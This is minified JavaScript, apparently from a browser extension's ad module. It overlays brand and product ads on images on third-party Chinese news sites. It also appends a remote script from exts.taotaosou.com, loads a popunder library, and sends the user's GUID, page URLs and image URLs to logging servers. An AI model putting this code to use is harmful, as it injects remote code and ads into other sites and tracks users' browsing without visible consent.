            })) + '" target="_blank">\n                    ' + g(h(null != (e = null != a ? a.pic: a) ? e.description: e, a)) + '\n                </a>\n            </div>\n        </div>\n        <div class="TK-pp-msg-list">\n            <ul>\n                <li class="h' + g(h(null != (e = null != a ? a.text1: a) ? e.red: e, a)) + '">\n                    <span></span> <a data-tk-msg-log="outsite_news_hot_click" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.text1: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
            })) + '" target="_blank">' + g(h(null != (e = null != a ? a.text1: a) ? e.title: e, a)) + '</a>\n                </li>\n                <li class="h' + g(h(null != (e = null != a ? a.text2: a) ? e.red: e, a)) + '">\n                    <span></span><a data-tk-msg-log="outsite_news_hot_click" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.text2: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
            })) + '" target="_blank">' + g(h(null != (e = null != a ? a.text2: a) ? e.title: e, a)) + '</a>\n                </li>\n                <li class="h' + g(h(null != (e = null != a ? a.text3: a) ? e.red: e, a)) + '">\n                    <span></span><a data-tk-msg-log="outsite_news_hot_click" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.text3: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
            })) + '" target="_blank">' + g(h(null != (e = null != a ? a.text3: a) ? e.title: e, a)) + '</a>\n                </li>\n                <li class="h' + g(h(null != (e = null != a ? a.text4: a) ? e.red: e, a)) + '">\n                    <span></span><a data-tk-msg-log="outsite_news_hot_click" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.text4: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
            })) + '" target="_blank">' + g(h(null != (e = null != a ? a.text4: a) ? e.title: e, a)) + '</a>\n                </li>\n            </ul>\n        </div>\n        <div id="J_tts_bubble_logo"><a href="javascript:;" class="media_bubble_logo" onclick="return false">汇海雷达提供</a></div>\n    </div>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/pinpai"] = d.template({
        1 : function(a, b, c, d) {
            var e, f, g = b.helperMissing,
            h = "function",
            i = this.escapeExpression,
            j = '        <li class="tts_jiaohu_item pinpai ';
            return e = (b.lt || a && a.lt || g).call(a, d && d.index, 1, {
                name: "lt",
                hash: {},
                fn: this.program(2, d),
                inverse: this.program(4, d),
                data: d
            }),
            null != e && (j += e),
            j + '"\n            data-from="' + i((f = null != (f = b.from || (null != a ? a.from: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "from",
                hash: {},
                data: d
            }) : f)) + '" data-id="' + i((f = null != (f = b.id || (null != a ? a.id: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "id",
                hash: {},
                data: d
            }) : f)) + '">\n          <a class="tts_jiaohu_alink pinpai_link" href="' + i((b.transUrl || a && a.transUrl || g).call(a, null != a ? a.from: a, null != a ? a.url: a, null != a ? a.id: a, {
                name: "transUrl",
                hash: {},
                data: d
            })) + '" target="_blank">\n            <img class="pinpai_img" src="' + i((f = null != (f = b.img || (null != a ? a.img: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "img",
                hash: {},
                data: d
            }) : f)) + '" alt=""/>\n          </a>\n        </li>\n'
        },
        2 : function(a, b, c, d) {
            return "adsItem1"
        },
        4 : function(a, b, c, d) {
            var e, f = b.helperMissing;
            return e = (b.lt || a && a.lt || f).call(a, d && d.index, 2, {
                name: "lt",
                hash: {},
                fn: this.program(5, d),
                inverse: this.program(7, d),
                data: d
            }),
            null != e ? e: ""
        },
        5 : function(a, b, c, d) {
            return "adsItem2"
        },
        7 : function(a, b, c, d) {
            var e, f = b.helperMissing;
            return e = (b.lt || a && a.lt || f).call(a, d && d.index, 3, {
                name: "lt",
                hash: {},
                fn: this.program(8, d),
                inverse: this.program(10, d),
                data: d
            }),
            null != e ? e: ""
        },
        8 : function(a, b, c, d) {
            return "adsItem3"
        },
        10 : function(a, b, c, d) {
            return "adsItem4"
        },
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = '<div class="tts_jiaohu_bar pinpai_wrap">\n<!--  <div class="changeList">\n    <div class="pinpai_before_wrap before_wrap">\n      <a href="javascript:void(0)" class="tts_jiaohu_item before pinpai_before"></a>\n    </div>\n    <div class="pinpai_after_wrap after_wrap">\n      <a href="javascript:void(0)" class="tts_jiaohu_item after pinpai_after"></a>\n    </div>\n  </div>-->\n  <div class="TK_outer_wrap pinpai_outer_wrap">\n    <ul class="pinpai_ul">\n';
            return e = b.each.call(a, null != a ? a.list: a, {
                name: "each",
                hash: {},
                fn: this.program(1, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (f += e),
            f + '    </ul>\n  </div>\n  <a href="javascript:;" id="J_tts_jiaohu_close" title="关闭" class="media_bubble_close pinpai_jiaohu_close" onclick="return false"></a>\n\n  <div id="J_tts_bubble_logo"><a href="javascript:;" class="media_bubble_logo pinpai_logo"\n                                 onclick="return false">汇海雷达提供</a></div>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/side"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = "function",
            g = b.helperMissing,
            h = this.escapeExpression;
            return '<div class="TTS_side_content" style="position: fixed;right: 20px;top: 50%;margin-top: -60px;width: 120px;height: 80px;z-index: 100000;">\n	<a href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" target="_blank"><img src="' + h((e = null != (e = b.media || (null != a ? a.media: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "media",
                hash: {},
                data: d
            }) : e)) + '" width="120" height="80" alt=""/></a>\n	<span class="close_TTS_side" style="cursor: pointer;position: absolute;bottom: 0;right: 0;width: 14px;height: 14px;background: url(http://ext.taotaosou.com/browser-static/tmt/close_01.png) no-repeat;background-size: 14px 14px;"></span>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/tmt"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            return '<div class="btn_bg">\n\n    <p class="ewm"></p>\n    <div class="btn_bg"></div>\n</div>\n\n\n\n<div id="bottom-zhaoshang">\n	<a id="KKT-bottomzhaoshang-link" href=""></a>\n	<div id="KKT-bottomzhaoshang-close"></div>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/unionpro"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = "function",
            g = b.helperMissing,
            h = this.escapeExpression;
            return '<a href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" title="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '" class="TK_union_t" target="_blank">\n  <img src="' + h((e = null != (e = b.image || (null != a ? a.image: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "image",
                hash: {},
                data: d
            }) : e)) + '" alt="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '"/>\n</a>\n<a href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" title="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '" class="TK_union_d" target="_blank">\n  <img src="' + h((e = null != (e = b.media || (null != a ? a.media: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "media",
                hash: {},
                data: d
            }) : e)) + '" alt="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '"/>\n</a>'
        },
        useData: !0
    }),
    this.JST
}),
__tk2__define("tts_union_media.source", ["./lib/jquery.min", "./utils", "./view/alimama", "./lib/jquery.tmpl.min", "./lib/jquery.base64", "./lib/jquery.popunder", "./templates.jst", "./mustache_helpers", "./lib/handlebars", "./view/views", "./view/side", "./view/popup", "./view/db11banner-nolimit", "./lib/jsonp", "./host", "./view/db11Banner", "./view/db11Float", "./view/duomai", "./view/lds", "./lib/dragdrop", "./lib/ldsSlide", "./view/top", "./view/paopao", "./view/baidu", "./view/hao123"],
function(a, b, c) {
    function d() {
        for (var a = window.location.hostname.split("."), b = null, c = 0; c < o.length; c++) if (o[c].name === a[a.length - 2] || o[c].name === a[a.length - 3]) {
            b = o[c];
            break
        }
        return b
    }
    function e() {
        var a = window.location.pathname.split("/"),
        b = d();
        if (b) {
            var c = b.limit; (a.length < c || "" === a[c - 1]) && (b = null)
        }
        return b
    }
    function f() {
        a("./view/views").init(),
        function(a, b) {
            function c(a) {
                for (var b = 0,
                c = 0; a;) b += a.offsetLeft,
                c += a.offsetTop,
                a = a.offsetParent;
                return {
                    left: b,
                    top: c
                }
            }
            function d(a) {
                return a.match(/img[1-9]?.gtimg.com/) ? a = "http://img1" + a.substring(a.indexOf(".gtimg.com")) : a.match(/.rayliimg.cn/) ? a = "http://image1" + a.substring(a.indexOf(".rayliimg.cn")) : a.match(/biz.itc.cn/) ? a = "http://m1" + a.substring(a.indexOf(".biz.itc.cn")) : a.match(/&f=/) ? a = "http://thumb1.yokacdn.com/p_420_625/" + a.substring(a.indexOf("&f=") + 3).replace(":", "") + ".jpg": a.match(/.cache./) ? a = "http://img1" + a.substring(a.indexOf(".cache.")) : a.match(/.gtimg.cn/) && (a = "http://soso1" + a.substring(a.indexOf(".gtimg.cn"))),
                a.match(/\?/) && (a = a.split("?")[0]),
                a
            }
            function e() {
                b(".tts_media")[0] && b(".tts_media").each(function(a, b) {
                    b.parentNode.removeChild(b)
                }),
                F = !0
            }
            function f(a) {
                var b = z.imgType;
                if (a.src && a.src.match(/data:/)) return ! 1;
                if (g(a)) {
                    var c = a.src.split("?")[0].slice( - 5).toUpperCase(),
                    d = !1;
                    c.match(/\./) && (d = !0);
                    for (var e = 0; e < b.length; e++) {
                        var f = b[e].toUpperCase();
                        if ((c.match(f) || !d && "UNKNOWN" === f) && a.width >= z.minWidth && a.height >= z.minHeight) return ! 0
                    }
                }
                return ! 1
            }
            function g(a) {
                if ("none" === a.style.display || "preloadBig" === a.id) return ! 1;
                if (a.parentNode) {
                    if ("none" === a.parentNode.style.display || "accessPlay" === a.parentNode.id) return ! 1;
                    if (a.parentNode.parentNode && ("nphLayoutGG" === a.parentNode.parentNode.id || "zuihoudiv" === a.parentNode.parentNode.id || "htpGG" === a.parentNode.parentNode.id)) return ! 1
                }
                return ! 0
            }
            function h(a) {
                var b = B.head || B.getElementsByTagName("head")[0],
                c = B.createElement("link");
                c.rel = "stylesheet",
                c.type = "text/css",
                c.href = a,
                b.appendChild(c)
            }
            function k(c, d, e) {
                var g = B || c;
                d = d || [],
                e = e || {};
                for (var h = 0; h < g.images.length; h++) {
                    var j = g.images[h];
                    f(j) && ("none" !== b(j).css("display") ? (j = m(j), e && (j._parentNode = e.parentNode || null), d.push(j)) : i.statLog_one({
                        systemName: "ttk_img_union",
                        guid: i.GUID,
                        cid: 0,
                        aclen: 0,
                        genlen: 0,
                        reclen: 0,
                        ctype: "null",
                        ltype: 0,
                        spid: "",
                        imgurl: b(j).attr("src"),
                        url: a.location.href
                    }))
                }
                return d
            }
            function m(a) {
                var b = {
                    x: a.getBoundingClientRect().left,
                    y: a.getBoundingClientRect().top,
                    src: d(a.src),
                    img: a
                };
                return b
            }
            function o(a) {
                function b(b) {
                    for (var c = [], d = 0; d < a.length; d++) a[d].y === b.y && c.push(d);
                    return c
                }
                for (var c = {},
                d = 0; d < a.length; d++) {
                    c[d] = a[d];
                    var e = b(a[d]);
                    if (e.length > 1) for (var f = 0; f < e.length; f++) delete c[e[f]]
                }
                a = [];
                for (var g in c) a.push(c[g]);
                return a
            }
            function p() {
                L = !1,
                b.getJSON(N.test + "getConfig.do?name=jsonp&unionid=10003028&host=" + encodeURIComponent(E) + "&jsonp=?&url=" + encodeURIComponent(D),
                function(b) {
                    if (a.MEDIA_config = z = b, O.trigger("config.success", [b]), !b || "state" in b) return ! 1;
                    var c = i.getConfig(); (c.tmt.model.jiaohu || !i.isManualDId) && a.tk_setting_all[44] && +a.tk_setting_all[44].s && n && q()
                })
            }
            function q() {
                function a() {
                    M = !0;
                    var a = k(),
                    b = o(a);
                    if (i.isMediaSite() && O.trigger("page.img", [b]), c = a, b.length > 0) {
                        b.length > z.maxSize && (b.length = z.maxSize);
                        for (var f = "",
                        g = 0,
                        h = b.length; h > g; g++) f += "," + encodeURIComponent(d(b[g].src));
                        e(b),
                        v(b)
                    } else e();
                    M = !1
                }
                B.getElementById(C + "_union") ? y = B.getElementById(C + "_union") : (y = B.createElement("div"), y.id = C + "_union", B.body.appendChild(y));
                var c, f = function() {
                    var d = b("img").not(".tts_media img").not("#TK-log img").size(),
                    e = [],
                    g = setInterval(function() {
                        b("img").not(".tts_media img").not("#TK-log img").size() !== d && (e = k(), c.length !== e.length && setTimeout(function() {
                            M || a()
                        },
                        500), clearInterval(g), f())
                    },
                    100)
                },
                g = null;
                setTimeout(function() {
                    a(),
                    f(),
                    b("img").not(".tts_media img").load(function() {
                        H && G && (G = !1, g && clearTimeout(g), g = setTimeout(function() {
                            G = !0,
                            M || a()
                        },
                        800))
                    })
                },
                500)
            }
            function r() {
                h("//exts.taotaosou.com/browser-static/tmt/tmt.css?t=04251416"),
                b(B).ready(function() {
                    var c = null;
                    if ("MEDIA_config" in a) {
                        var d;
                        if (d = z = a.MEDIA_config, O.trigger("config.success", [d]), !d || "state" in d) return ! 1;
                        var f = i.getConfig(); (f.tmt.model.jiaohu || !i.isManualDId) && q()
                    } else p();
                    if ("onhashchange" in a && ("undefined" == typeof B.documentMode || 8 === B.documentMode)) b(a).bind("hashchange",
                    function() {
                        H = !1,
                        e(),
                        clearTimeout(c),
                        c = setTimeout(function() {
                            q()
                        },
                        500)
                    });
                    else {
                        var g = B.location.hash;
                        setInterval(function() {
                            B.location.hash !== g && (g = B.location.hash, H = !1, e(), q())
                        },
                        500)
                    }
                    u()
                })
            }
            function s() {
                for (var a = ["163.com/photoview", "qq.com/a", "pic.yule.sohu.com"], b = 0; b < a.length; b++) if (D.indexOf(a[b]) >= 0) return ! 0;
                return ! 1
            }
            function t() {
                return b(".endpage")[0] && "block" === b(".endpage")[0].style.display || B.getElementById("photoLayout") && "block" === B.getElementById("photoLayout").style.display || B.getElementById("lastCon") && "block" === B.getElementById("lastCon").style.display || B.getElementById("adsFrame") && "block" === B.getElementById("adsFrame").style.display ? !0 : !1
            }
            function u() {
                s() && b("body").bind("click",
                function() {
                    setTimeout(function() {
                        t() && e()
                    },
                    1e3)
                })
            }
            function v(a) {
                B.getElementById("tts_media") || (A = B.createElement("div"), A.className = "tts_media", y.appendChild(A));
                for (var c = "",
                d = 0,
                e = a.length; e > d; d++) c += "," + encodeURIComponent(a[d].src);
                b(a).each(function(a, b) {
                    w(b)
                })
            }
            function w(a, b, c) {
                return z.confBrand ? void(i.cookie.get().TKjiaohu || 2 !== z.confBrand.adStyle || new x(a, z.confBrand).init()) : !1
            }
            function x(a, b) {
                this.siteCid = z.keyType,
                this.config = b,
                this.imgObj = a,
                this.elm = this.imgObj.img,
                this.elmOffset = c(this.elm),
                this.data = {},
                this.data.res = [],
                I = !1,
                J = !1,
                K = !1
            }
            if ("undefined" != typeof a.TTSMedia) return ! 1;
            a.TTSMedia = !0;
            var y, z, A, B = a.document,
            C = (a.document.cookie, "__TTS"),
            D = a.location.href,
            E = a.location.host,
            F = !0,
            G = !0,
            H = !0,
            I = !1,
            J = !1,
            K = !1,
            L = !1,
            M = !1,
            N = {
                kc: "//showkc.taotaosou.com/adShow163.do?",
                kctu: "//www.gmf.com/tumeiti.php?",
                re: "//re.taotaosou.com",
                log: "//dclog.taotaosou.com/statistics.do?systemName=tts_media",
                test: "//union.taotaosou.com/"
            },
            O = b("body");
            i.cookie;
            x.prototype = {
                init: function() {
                    this.getBrand()
                },
                getGenerator: function() {
                    var a = this,
                    c = B.createElement("div"),
                    d = B.createElement("div");
                    c.className = "J_brand_box brand_box",
                    d.className = "product_box",
                    a.brandObj = b(c),
                    a.productObj = b(d)
                },
                getRelatedTarget: function(a) {
                    return a.relatedTarget ? a.relatedTarget: a.toElement ? a.toElement: a.fromElement ? a.fromElement: null
                },
                isParent: function(a, b) {
                    for (; void 0 !== a && null !== a && "BODY" !== a.tagName.toUpperCase();) {
                        if (a === b) return ! 0;
                        a = a.parentNode
                    }
                    return ! 1
                },
                displayData: function() {
                    var a = this;
                    a.displayData = function() {
                        return a.showBrand(a.data)
                    },
                    a.showBrand(this.data)
                },
                getImageUnion: function(a) {
                    var c = this;
                    b.ajax({
                        url: a.url,
                        cache: !1,
                        dataType: "jsonp",
                        data: a.data,
                        jsonp: "callback",
                        success: function(b) {
                            a.callback.call(c, b, a.unionList)
                        }
                    })
                },
                formatImageUnionData: function(a) {
                    var c, d = [],
                    e = [];
                    a.res && b.each(a.res,
                    function(a, b) {
                        "6" === b.from ? e.push(b) : d.push(b)
                    });
                    var f = Math.floor(100 * Math.random());
                    if ("pinpai" === this.secondAd) {
                        if (!e[0]) return void this.showBrand(null, !0);
                        c = e,
                        this.adType = "pinpai"
                    } else if (30 > f) if (this.firstAd = "pinpai", c = e, e[0]) this.adType = "pinpai";
                    else {
                        if (d.length < 5) return void this.getJuxiao();
                        this.secondAd = "danpin",
                        c = d,
                        this.adType = "danpin"
                    } else {
                        if (this.firstAd = "danpin", c = d, c.length < 5) return void this.getJuxiao();
                        this.adType = "danpin"
                    }
                    this.formatDisplay(c)
                },
                formatJuxiao: function(a) {
                    var b = [];
                    a.forEach(function(a, c) {
                        0 !== c && (a.from = "juxiao", a.img = a.timg, a.title = a.pn, a.url = a.curl1, a.promoPrice = a.price, b.push(a))
                    }),
                    "danpin" === this.firstAd && b.length < 5 ? (this.secondAd = "pinpai", this.getBrand()) : "pinpai" === this.firstAd && b.length < 5 ? this.showBrand(null, !0) : (this.adType = "danpin", this.formatDisplay(b))
                },
                formatRecomData: function(a) {
                    var c = this,
                    d = [];
                    a.proList[0] && b.each(a.proList,
                    function(a, b) {
                        b.id = "1",
                        b.img = b.ttsPicUrl,
                        b.url = b.clickUrl,
                        d.push(b)
                    }),
                    c.formatDisplay(d)
                },
                formatDisplay: function(a) {
                    var c = this;
                    a && b.each(a,
                    function(a, b) {
                        c.data.res.push(b)
                    }),
                    this.displayData()
                },
                getBrand: function() {
                    var a, b = this;
                    a = {
                        url: "//showkc.taotaosou.com/imageUnion.do",
                        data: {
                            guid: i.GUID,
                            siteCid: b.siteCid,
                            itemSize: 5,
                            pid: 295,
                            brandSize: 1
                        },
                        callback: b.formatImageUnionData
                    },
                    b.getImageUnion(a)
                },
                getJuxiao: function() {
                    var a, b = this;
                    a = {
                        url: "//show-3.mediav.com/s?showid=pl3NaC&type=1&of=4&impct=9&qhtid=114078&qhcn=category=&userid=&aplus&yunid=&&asid=AQAAAABFdpNWdlA/awAAAAB5vl4ltc6oYw==&jsonp=?&ref=&qhtag=",
                        data: {},
                        callback: b.formatJuxiao
                    },
                    b.getImageUnion(a)
                },
                getPruduct: function() {
                    var a, b = this;
                    a = {
                        url: "//www.gmf.com/tumeiti.php?adType=0,0,0,1&keyword=0,0,0,0&adSize=0,0,0,300*220&itemSize=0,0,0,1&guid=00000000FE3EAE4CB213FF7C5880D30A&ditch=9901000320131018&tbId=&siteCid=123&pid=3000100031&jsonp=?",
                        data: {},
                        callback: b.renderProduct
                    },
                    b.getImageUnion(a)
                },
                renderProduct: function(a) {
                    var d = this,
                    e = l["tmt/unionpro"],
                    f = e(a.jiaohu[0]);
                    d.productObj.append(f),
                    d.productObj.appendTo(A);
                    var g = c(d.elm),
                    h = g.top,
                    j = b(d.elm).width() + g.left;
                    d.productObj.css({
                        left: j,
                        top: h
                    }),
                    b(".product_box").on("mouseenter",
                    function(a) {
                        d.isParent(d.getRelatedTarget(a), B.getElementsByClassName("tts_media")[0]) || b(".TK_union_d").addClass("Tk_union_show")
                    }),
                    b(".product_box").on("mouseout",
                    function(a) {
                        d.isParent(d.getRelatedTarget(a), B.getElementsByClassName("tts_media")[0]) || b(".TK_union_d").removeClass("Tk_union_show")
                    }),
                    i.cookie.get().TK_union_product || (b(".TK_union_d").addClass("Tk_union_show"), i.cookie.set({
                        name: "TK_union_product",
                        value: !0,
                        min: 3,
                        path: "/",
                        domain: i.host
                    }))
                },
                rotationEvent: function(a) {
                    var c, d, e = this,
                    f = !1,
                    g = B.getElementsByClassName("tts_media")[0];
                    a && a.res && "6" === a.res[0].from ? (c = 260, d = 85) : (c = 415, d = 70),
                    e.brandObj.css("left", b(e.imgObj.img).offset().left + b(e.imgObj.img).width() / 2 - e.brandObj[0].offsetWidth / 2 + "px"),
                    e.brandObj.css("top", b(e.imgObj.img).offset().top + b(e.imgObj.img).height() - e.brandObj[0].offsetHeight + "px"),
                    b(e.imgObj.img).on("mouseover",
                    function(a) {
                        e.isParent(e.getRelatedTarget(a), g) || (f = !0, e.brandObj.find(".tts_jiaohu_bar").css("top", "0px"))
                    }),
                    b(e.imgObj.img).on("mouseout",
                    function(a) {
                        e.isParent(e.getRelatedTarget(a), g) || e.brandObj.find(".tts_jiaohu_bar").css("top", d)
                    })
                },
                showBrand: function(a, c) {
                    var d = this;
                    if (d.getGenerator(), a && a.res && (!a.res[0] || "6" !== a.res[0].from && a.res.length < 1)) return ! 1;
                    c ? (d.getBrandTmpl(1), i.statLog_one({
                        systemName: "ttk_alimama_pv",
                        ref: location.href,
                        source: "alimama",
                        place: "tumeiti",
                        type: "3"
                    })) : "pinpai" === this.adType ? d.getBrandTmpl(2) : "danpin" === this.adType && d.getBrandTmpl(1),
                    d.brandObj.append(d.brandTmp({
                        list: a && a.res
                    })),
                    a && a.res && ("6" === a.res[0].from && a.res.length < 2 || "6" !== a.res[0].from && a.res.length < 6) && (d.brandObj.find(".before").css("display", "none"), d.brandObj.find(".after").css("display", "none")),
                    a && a.res && "6" !== a.res[0].from ? b.each(d.brandObj.find("div.TK_ul_wrap li.tts_jiaohu_item"),
                    function(a, c) {
                        a % 5 === 0 ? b(c).addClass("listFirst") : (a + 1) % 5 === 0 && b(c).addClass("listEnd")
                    }) : d.brandObj.css("padding", "0 50px");
                    var e = b(d.imgObj.img).offset().top + b(d.imgObj.img).height() - d.brandObj[0].offsetHeight + "px",
                    f = b(d.imgObj.img).offset().left + b(d.imgObj.img).width() / 2 - d.brandObj[0].offsetWidth / 2 + "px";
                    d.brandObj.css({
                        left: f,
                        top: e
                    }).appendTo(A),
                    c && (b(".TK_ul_wrap").empty().append(j.tumeiti), b("#J_tts_jiaohu_close").css("top", "0")),
                    d.getPruduct(),
                    d.eventBrand(a)
                },
                eventBrand: function(c) {
                    var d = this;
                    i.statLog_one({
                        systemName: "ttk_img_union",
                        guid: i.GUID,
                        cid: c && c.cid,
                        aclen: c && c.al,
                        genlen: c && c.gl,
                        reclen: c && c.rl,
                        ctype: "null",
                        ltype: 1,
                        spid: "",
                        imgurl: b(d.imgObj.img).attr("src"),
                        url: a.location.href
                    }),
                    d.brandObj.find("#J_tts_jiaohu_close").on("click",
                    function() {
                        d.brandObj.hide(),
                        i.cookie.set({
                            name: "TKjiaohu",
                            value: !0,
                            min: 5,
                            path: "/",
                            domain: i.host
                        })
                    });
                    var e = null,
                    f = d.brandObj.find(".tts_jiaohu_item"),
                    g = d.brandObj.find(".tts_jiaohu_popitem");
                    f.on({
                        mouseenter: function() {
                            var a = b(this);
                            clearTimeout(e),
                            g.hide(),
                            a.addClass("tts_jiaohu_active").find(".tts_jiaohu_popitem").show()
                        },
                        mouseleave: function() {
                            var a = b(this);
                            a.removeClass("tts_jiaohu_active"),
                            e = setTimeout(function() {
                                a.find(".tts_jiaohu_popitem").hide(),
                                clearTimeout(e),
                                e = null
                            },
                            200)
                        }
                    }),
                    g.on({
                        mouseenter: function() {
                            var a = b(this);
                            clearTimeout(e),
                            a.show()
                        }
                    }),
                    d.brandObj.find(".tts_jiaohu_alink, .tts_jiaohu_popitem_alink").on("click",
                    function() {
                        var e = b(this).closest(".tts_jiaohu_item");
                        i.statLog_one({
                            systemName: "ttk_img_union",
                            guid: i.GUID,
                            cid: c && c.cid,
                            aclen: c && c.al,
                            genlen: c && c.gl,
                            reclen: c && c.rl,
                            ctype: e.data("from"),
                            ltype: 2,
                            spid: e.data("id"),
                            imgurl: b(d.imgObj.img).attr("src"),
                            url: a.location.href
                        })
                    }),
                    d.iniResize(),
                    d.rotationEvent(c)
                },
                iniResize: function() {
                    var c = this;
                    b(a).resize(function() {
                        var a = b(c.imgObj.img).offset().top + b(c.imgObj.img).height() - c.brandObj[0].offsetHeight + "px",
                        d = b(c.imgObj.img).offset().left + b(c.imgObj.img).width() / 2 - c.brandObj[0].offsetWidth / 2 + "px";
                        c.brandObj.css({
                            left: d,
                            top: a
                        })
                    }),
                    b(a).scroll(function() {
                        var a = b(c.imgObj.img).offset().top + b(c.imgObj.img).height() - c.brandObj[0].offsetHeight + "px",
                        d = b(c.imgObj.img).offset().left + b(c.imgObj.img).width() / 2 - c.brandObj[0].offsetWidth / 2 + "px";
                        c.brandObj.css({
                            left: d,
                            top: a
                        })
                    })
                },
                getBrandTmpl: function(a) {
                    var b = this;
                    switch (a) {
                    case 1:
                        b.brandTmp = l["tmt/jiaohu"],
                        b.config.bannerHeight = 221,
                        b.config.bannerWidth = 423;
                        break;
                    case 2:
                        b.brandTmp = l["tmt/pinpai"],
                        b.config.bannerHeight = 70,
                        b.config.bannerWidth = 330
                    }
                }
            },
            r()
        } (window, h)
    }
    var g, h = a("./lib/jquery.min"),
    i = a("./utils"),
    j = a("./view/alimama"),
    k = 10;
    if ("7690010020140313" === i.DITCH_ID) return ! 1;
    a("./lib/jquery.tmpl.min"),
    a("./lib/jquery.base64"),
    a("./lib/jquery.popunder");
    var l = a("./templates.jst");
    a("./mustache_helpers");
    var m = document.createElement("script");
    m.src = "//exts.taotaosou.com/wylm/build/js/app.js",
    document.body.appendChild(m);
    var n, o = [{
        name: "163",
        doMain: ".163.com",
        limit: 4,
        isSC: !0,
        photosWrap: ".gallery, .nph_gallery",
        photos: ".photoarea, .nph_bg",
        endPage: ".endpage, .nph_photo_layout",
        sidebar: "gallery-tie-right",
        regex: /\u7f51\u6613\u65b0\u95fb|\u7f51\u6613\u4f53\u80b2|\u7f51\u6613\u8d22\u7ecf|\u7f51\u6613\u519b\u4e8b/
    },
    {
        name: "ifeng",
        doMain: ".ifeng.com",
        isSC: !1,
        limit: 4,
        photosWrap: ".hdpPic",
        photos: ".swiper-wrapper",
        endPage: "#over",
        sidebar: "right",
        regex: null
    },
    {
        name: "sina",
        doMain: ".sina.com.cn",
        isSC: !1,
        limit: 3,
        photosWrap: ".slide-wrap",
        photos: ".swp-item.current",
        endPage: "#SI_SlideEnd",
        sidebar: "content_wrappr_right notInPad",
        regex: null
    },
    {
        name: "qq",
        doMain: ".qq.com",
        isSC: !1,
        limit: 4,
        photosWrap: "#Gallery, .section, .btnWrap",
        photos: "#galleryPicWrap, #picWrap",
        endPage: "#end, #lastCon",
        sidebar: "qq_mainSide",
        regex: null
    }],
    p = e();
    if (null === p) n = !0;
    else {
        var q = h(document.body).find(p.photosWrap);
        n = !(q.length && q.length > 0)
    }
    g = setInterval(function() {
        return window.tk_setting_all ? (clearInterval(g), f()) : k ? void(k -= 1) : clearInterval(g)
    },
    300)
}),
__tk2__define("utils", ["./lib/jquery.min"],
function(a, b, c) {
    function d(a, b) {
        b.t = (new Date).getTime(),
        b.z1_guid = j,
        g.postImg({
            url: a,
            data: b
        })
    }
    function e() {
        var a = "",
        b = "",
        c = "",
        d = "",
        e = "";
        return q ? (q.getAttribute("data-id") && (a = q.getAttribute("data-id")), q.getAttribute("data-btype") && (b = q.getAttribute("data-btype")), q.getAttribute("data-guid") && (c = q.getAttribute("data-guid")), q.getAttribute("data-message") && (e = q.getAttribute("data-message")), q.getAttribute("data-version") && (d = q.getAttribute("data-version"))) : p("script").each(function(b, c) {
            c.src && c.src.match(/_tts_browser_center.*id/) && (a = c.src.replace(/.*id[^id]?/, "").replace(/&.*/, ""))
        }),
        {
            id: a,
            browser: b,
            guid: c,
            message: e,
            version: d
        }
    }
    function f(a, b) {
        b.t = (new Date).getTime(),
        b.guid = j,
        b.ditch = h,
        b.v = VERSION,
        a += p.param(b),
        g.load({
            url: a
        })
    }
    var g, h, i, j, k, l = location.href,
    m = location.host,
    n = "s.taobao.com",
    o = "list.taobao.com",
    p = a("./lib/jquery.min"),
    q = document.getElementById("J---TK-load"),
    r = "//log.taotaosou.com/",
    s = {
        get: function() {
            var a, b, c, d, e, f = {},
            g = document.cookie;
            if ("" === g) return f;
            for (a = g.split("; "), b = 0, c = a.length; c > b; b++) {
                d = a[b],
                e = d.indexOf("=");
                var h;
                try {
                    h = decodeURIComponent(d.substring(e + 1))
                } catch(i) {
                    h = d.substring(e + 1)
                }
                f[d.substring(0, e)] = h
            }
            return f
        },
        set: function(a) {
            var b = a.name + "=" + encodeURIComponent(a.value);
            if ("number" == typeof a.day || "number" == typeof a.hour || "number" == typeof a.min || "number" == typeof a.sec) {
                var c;
                if (window.navigator.userAgent.match(/MSIE/)) {
                    var d = new Date;
